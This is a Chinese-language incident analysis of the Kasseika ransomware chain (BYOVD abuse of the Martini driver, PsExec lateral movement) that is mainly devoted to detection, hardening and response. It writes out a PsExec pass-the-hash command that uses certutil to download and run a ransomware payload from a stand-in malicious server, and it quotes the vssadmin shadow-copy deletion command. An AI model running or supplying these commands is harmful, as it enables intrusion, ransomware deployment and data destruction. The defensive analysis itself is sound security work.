1. 项目概述一次典型的BYOVD攻击链深度剖析最近在分析一起安全事件时我完整地复盘了Kasseika勒索软件的攻击链。这个案例非常典型它集成了当前勒索攻击的几个关键战术利用合法工具PsExec进行横向移动并最终通过BYOVD自带易受攻击驱动程序技术滥用一个名为Martini的驱动程序来达成提权和破坏防御的目的。整个过程就像一场精心策划的“特洛伊木马”行动攻击者没有直接强攻城门而是伪装成友军利用系统内部的信任机制和工具从内部瓦解防御。对于安全运维和应急响应人员来说理解这种攻击的每一个环节是构建有效防御和快速响应的基础。这篇文章我就结合这次分析把Kasseika的这套“组合拳”拆解清楚从攻击入口到最终勒索聊聊其中的技术细节、防御思路和我们踩过的那些坑。2. 攻击链全景与核心战术解析2.1 BYOVD攻击者的“特权通行证”BYOVD即“Bring Your Own Vulnerable Driver”是近年来高级威胁中愈发流行的一种提权技术。它的核心思想并不复杂攻击者不直接开发或利用操作系统的0day漏洞而是寻找那些已经通过微软WHQLWindows硬件质量实验室认证的第三方驱动程序。这些驱动因为具有高权限通常是内核模式且被系统信任一旦其本身存在漏洞如任意地址读写、权限检查缺失就会被攻击者“自带”到目标机器上并加载从而在内核层面为所欲为。为什么BYOVD如此受青睐原因有三点。第一是隐蔽性高。加载一个带有合法数字签名的驱动在传统基于签名的安全软件看来可能是正常行为容易绕过检测。第二是稳定性强。相比利用复杂的系统漏洞利用一个已知的驱动漏洞往往更稳定成功率更高。第三是资源复用。安全社区和厂商会公开一些存在漏洞的驱动列表攻击者可以直接“拿来主义”降低了攻击成本。在这次Kasseika攻击中被滥用的“Martini”驱动就是一个典型的例子它可能是一个用于硬件调试或系统优化的合法驱动但其接口未能对调用者进行充分的权限校验导致可以被用户态程序滥用执行内核内存操作。2.2 PsExec的“白利用”信任的背叛PsExec是Sysinternals工具集里的一款经典远程管理工具系统管理员常用它来在远程计算机上执行命令。它的工作原理是在远程系统上启动一个Psexesvc服务并通过命名管道进行通信。在攻击者眼中PsExec有两大“优点”一是它功能强大能直接执行命令、上传文件二是它在许多企业环境中是“合法”存在的网络流量和进程行为可能不会被严格拦截。Kasseika攻击者利用PsExec进行横向移动属于典型的“Living-off-the-Land”离地生存战术。他们可能在通过钓鱼邮件、漏洞利用等方式攻陷第一台机器后利用窃取的凭证如域管理员密码哈希通过PsExec向网络中的其他服务器和工作站发起连接并执行恶意载荷。这个过程看起来就像是管理员在进行日常维护极大地增加了检测难度。注意不要因为PsExec是合法工具就完全放行。在安全策略中应对PsExec的使用进行严格监控和限制例如仅允许从特定的管理跳板机发起连接并对PsExec产生的网络连接通常是445端口和命名管道进行深度行为分析。2.3 Kasseika勒索软件的战术定位Kasseika本身是一个相对较新的勒索软件家族从其利用的技术组合来看属于“技战术驱动型”而非“大规模撒网型”。它不追求感染数量而是追求对高价值目标的成功加密和勒索。整合BYOVD和PsExec表明其攻击者具备一定的技战术水平目标可能指向企业网络中的数据库服务器、文件服务器或开发环境。勒索软件模块本身通常负责文件加密、勒索信投放和与C2服务器的通信而其前期的渗透、提权和横向移动能力则依赖于这些“外挂”的技术。3. 攻击流程深度拆解与复现3.1 初始入侵与环境侦察攻击的起点可能是一个经过伪装的恶意文档、一个利用公共服务漏洞的入侵或者一次成功的网络钓鱼。攻击者获得初始立足点后首先会进行轻量级的侦察。他们会运行诸如whoami /all、ipconfig /all、net view、net localgroup administrators等命令来了解当前系统的权限、网络配置、域内其他机器以及本地管理员组成员。更重要的是他们会检查安全软件的状态。常见命令包括tasklist查看进程sc query查询服务状态以及尝试通过一些WMI查询或直接读取注册表来定位EDR终端检测与响应或杀毒软件的存在。这个阶段的活动非常关键它决定了攻击者后续选择哪种提权方式和横向移动工具。3.2 凭证窃取与权限提升在获得一个普通用户权限后攻击者会尝试获取更高权限的凭证。内存转储工具如Mimikatz或其多种无文件加载变种是标准选择。他们会尝试从lsass.exe进程内存中提取明文密码、NTLM哈希或Kerberos票据。如果当前用户是本地管理员这一步成功率很高。如果凭证窃取未能直接获得域管理员权限或者需要绕过某些防护例如受保护的LSASS进程攻击者就会启动BYOVD方案。以Martini驱动为例攻击流程大致如下驱动文件投递攻击者将Martini驱动的.sys文件可能经过重命名和简单混淆上传到目标机器的临时目录如C:\Windows\Temp\。驱动加载通过一个加载器程序通常是攻击者自己编写的或改写的工具调用CreateService和StartServiceAPI或者直接使用sc create和sc start命令将Martini驱动作为服务安装并启动。由于驱动有合法签名Windows和许多安全产品在默认情况下会允许其加载。利用漏洞提权加载器程序随后通过DeviceIoControl等函数向Martini驱动发送特定的控制代码IOCTL。由于Martini驱动存在漏洞未能验证调用者的权限便执行了高特权操作例如将攻击者进程的访问令牌修改为NT AUTHORITY\SYSTEM的令牌或者直接在内核空间修补关键的安全数据结构。权限巩固获得SYSTEM权限后攻击者可以完全禁用安全软件、清除日志、创建隐藏的后门账户或计划任务为后续的横向移动扫清障碍。3.3 横向移动与勒索软件部署拥有高权限凭证域管理员哈希或票据后横向移动变得水到渠成。攻击者使用PsExec的方式通常是这样的# 假设攻击者已经获取了域管理员哈希并使用Pass-the-Hash技术 psexec.exe \\目标机器IP -u DOMAIN\Administrator -p NTLM哈希 -h -s -d -accepteula -nobanner cmd /c “certutil -urlcache -split -f http://恶意服务器/ransomware.exe C:\Windows\Temp\k.exe C:\Windows\Temp\k.exe”这条命令分解来看\\目标机器IP指定横向移动的目标。-u -p使用窃取的凭证进行认证。-h以被调用账户的最高权限运行如果账户是管理员。-s在远程系统上以SYSTEM账户运行进程。-d不等待进程结束非交互式适合部署。-accepteula -nobanner静默运行减少输出。后面的命令先使用certutil另一个被滥用的合法工具从远程服务器下载勒索软件本体ransomware.exe到临时目录并重命名为k.exe然后立即执行它。通过这种方式攻击者可以快速、批量地在多台机器上部署勒索软件载荷。勒索软件执行后便开始它的“本职工作”遍历磁盘、加密特定扩展名的文件避开系统关键文件以防崩溃、删除卷影副本vssadmin delete shadows /all /quiet、投放勒索信并尝试与命令控制服务器通信。4. 防御策略与深度检测建议4.1 预防性控制措施防御这类攻击需要层层设防不能只依赖单一产品。驱动加载控制这是对抗BYOVD最直接有效的一环。在企业环境中应启用驱动程序强制签名策略并尽可能使用Windows Defender应用程序控制或类似的白名单策略只允许加载经过企业核准的、已知良好的驱动程序。定期审核服务器和工作站上已安装的驱动程序移除非必要的、特别是来源不明的驱动。凭证保护启用Credential Guard以防止Pass-the-Hash和Pass-the-Ticket攻击。对域管理员等高权限账户实施受限制的管理模式禁止其在不安全的设备上登录。强制使用LSA保护使LSASS进程以受保护的模式运行防止内存凭证转储。最小权限原则严格限制PsExec、WMI、PowerShell Remoting等管理工具的使用范围和权限。通过网络策略仅允许从指定的、加固过的管理跳板机发起此类连接。对域管理员账户实行“平时禁用用时申请”的流程。应用程序控制虽然PsExec是合法工具但可以通过应用程序白名单策略限制其只能在特定目录如管理员工具目录下运行或禁止从用户临时目录、下载目录执行任何可执行文件。4.2 深度检测与威胁狩猎预防并非万能因此必须建立有效的检测能力。进程行为监控重点关注以下异常序列非管理员用户或非管理终端上突然出现PsExec、WMI或SchTasks的进程创建事件且其父进程可疑如来自邮件客户端、浏览器。进程链异常例如svchost.exe-rundll32.exe-certutil.exe下载文件然后立即执行。或者psexec.exe启动的cmd.exe立即执行certutil或powershell进行网络下载。驱动加载监控记录所有内核驱动加载事件特别关注加载路径为临时目录C:\Windows\Temp\,C:\Users\*\AppData\Local\Temp\的驱动或者驱动名称是随机字符串的。将驱动加载事件与进程创建事件关联如果发现一个用户态进程在短时间内加载了一个不常见的驱动应立即告警。网络流量分析PsExec流量特征PsExec使用SMB协议端口445进行通信并在远程主机上创建名为PSEXESVC的命名管道。网络检测设备可以寻找短时间内来自同一源IP、针对多个目标IP的445端口连接并尝试建立命名管道的行为。C2通信检测勒索软件在加密前后通常会与C2服务器通信。其通信可能使用非标准端口、DGA域名或流行的云服务/社交平台作为中转。需要结合威胁情报对出站连接进行深度包检测和信誉分析。文件系统与注册表监控勒索软件前置活动加密开始前勒索软件通常会遍历大量目录。监控短时间内对大量文件尤其是文档、图片、数据库文件的Read和Write访问尝试。同时监控对卷影副本服务相关注册表键值的修改或删除操作。持久化机制关注计划任务、服务、启动项、WMI事件订阅等位置的异常创建特别是由SYSTEM账户或近期被攻破的账户创建的。4.3 应急响应与取证要点一旦检测到疑似攻击必须快速响应。立即隔离通过网络策略或主机防火墙立即隔离被感染机器防止进一步横向扩散。不要直接关机以免丢失内存中的证据。内存取证使用专业工具如Volatility、Rekall或EDR的内存捕获功能对受感染主机进行内存转储。内存中可能存有攻击者的进程列表、网络连接、加载的驱动包括Martini驱动、以及明文的凭证信息。磁盘取证全面镜像磁盘。重点检查临时目录中的可疑可执行文件如勒索软件本体、驱动文件、加载器。预取文件Prefetch和最近打开的文件记录还原攻击者的活动时间线。Windows事件日志特别是安全日志、系统日志、PowerShell操作日志但需注意攻击者可能已清除日志。注册表中关于新创建服务、驱动、计划任务的痕迹。威胁狩猎以已发现的IOC如恶意文件哈希、C2域名、攻击者IP为起点在全网范围内进行搜索排查是否有其他机器存在相同威胁。检查所有机器的驱动列表、异常服务、以及来自同一源IP的PsExec连接记录。5. 实操心得与避坑指南在分析和防御这类攻击的过程中我们积累了一些宝贵的经验也踩过不少坑。心得一不要神话任何单一安全产品。无论是EDR还是防火墙都可能被绕过。Kasseika攻击链清晰地展示了攻击者利用的是“信任链”的弱点——系统信任有签名的驱动管理员信任PsExec工具。防御的核心思路必须从“阻止坏东西”转变为“验证好东西”。建立“零信任”的最小权限模型并对所有特权操作进行持续验证和记录比单纯依赖特征码检测要有效得多。心得二日志是应急响应的生命线但攻击者也知道。我们曾遇到攻击者在利用BYOVD提权后第一时间不是部署勒索软件而是运行一个脚本批量清理了数十台服务器的安全日志和系统日志。这导致我们在事件回溯时面临巨大困难。因此必须实施日志的集中收集和异地备份使用SIEM或日志平台实时接收所有终端和服务器的关键日志。确保日志传输通道本身的安全防止被攻击者拦截或篡改。心得三对“合法工具”的管理比想象中复杂。一开始我们试图一刀切地禁止PsExec结果遭到了运维团队的强烈反对因为确实需要用它进行批量补丁部署。后来我们采取了折中方案建立了专用的、高度加固的“跳板机”所有需要PsExec的操作必须从这几台跳板机发起并且跳板机上的所有操作都被全程录像式审计。同时我们在网络层设置了策略只允许跳板机的IP地址向生产服务器发起相关的管理协议连接。这样既满足了业务需求又将风险控制在了可接受的范围内。心得四驱动漏洞情报的获取至关重要。Martini驱动可能只是冰山一角。安全团队需要主动订阅和跟踪公开的驱动漏洞库如微软的WDAC策略包、第三方安全研究机构发布的易受攻击驱动列表。定期用这些列表扫描内网所有机器的已安装驱动发现“危险分子”立即推动卸载或更新。这个过程可以自动化并集成到资产管理和漏洞扫描流程中。最后的建议是演练永远不嫌多。定期以Kasseika这类攻击链为蓝本进行红蓝对抗演练。让攻击队尝试使用BYOVD和PsExec进行内网渗透让防守队尝试检测和响应。只有通过真实的对抗才能暴露出防御体系中的盲点和响应流程中的脱节之处从而不断优化策略真正提升整体安全水位。安全是一个动态的过程对手在进化我们的防御思想和手段也必须随之进化。